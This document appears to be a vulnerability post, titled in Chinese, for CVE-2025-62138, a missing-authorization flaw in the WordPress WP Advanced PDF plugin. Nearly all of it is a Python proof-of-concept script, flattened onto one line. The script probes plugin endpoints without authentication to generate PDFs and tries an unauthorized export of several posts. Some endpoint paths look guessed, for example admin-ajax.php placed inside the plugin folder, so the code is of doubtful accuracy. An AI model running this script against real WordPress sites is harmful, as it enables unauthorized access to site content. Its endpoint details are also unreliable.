CVE-2025-62138: WordPress WP Advanced PDF插件授权缺失漏洞

# CVE-2025-62138 PoC - WordPress WP Advanced PDF Authorization Bypass # This PoC demonstrates the missing authorization vulnerability import requests import sys TARGET_URL = "http://target-wordpress-site.com" PLUGIN_PATH = "/wp-content/plugins/wp-advanced-pdf/" def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-62138""" # Vulnerable endpoints that should require authorization endpoints = [ f"{TARGET_URL}{PLUGIN_PATH}admin-ajax.php", f"{TARGET_URL}{PLUGIN_PATH}includes/ajax-handler.php", f"{TARGET_URL}/wp-json/wp-advanced-pdf/v1/generate-pdf" ] print("[*] Testing CVE-2025-62138 - Missing Authorization in WP Advanced PDF") print(f"[*] Target: {TARGET_URL}") print("-" * 60) for endpoint in endpoints: print(f"\n[+] Testing endpoint: {endpoint}") # Test unauthenticated access to PDF generation payload = { 'action': 'wp_advanced_pdf_generate', 'post_id': '1', 'settings': '{"format":"full"}' } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: # Check if response indicates successful unauthenticated access if 'pdf' in response.text.lower() or 'document' in response.text.lower(): print(f"[!] VULNERABLE: Endpoint accessible without authentication") print(f"[+] Response preview: {response.text[:200]}") else: print(f"[*] Endpoint responds but may require further testing") else: print(f"[-] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Testing complete. If vulnerabilities found, update plugin immediately.") def exploit_pdf_export(): """Attempt to export PDF without authentication""" export_endpoint = f"{TARGET_URL}{PLUGIN_PATH}includes/export-pdf.php" params = { 'post_ids': '1,2,3', 'format': 'pdf', 'template': 'default' } print("\n[*] Attempting unauthorized PDF export...") try: response = requests.get(export_endpoint, params=params, timeout=10) if response.status_code == 200 and 'pdf' in response.headers.get('Content-Type', ''): print("[!] CRITICAL: Successfully exported PDF without authentication!") print(f"[+] PDF size: {len(response.content)} bytes") return True else: print("[-] Export attempt failed or blocked") return False except Exception as e: print(f"[-] Error during export test: {e}") return False if __name__ == "__main__": check_vulnerability() exploit_pdf_export()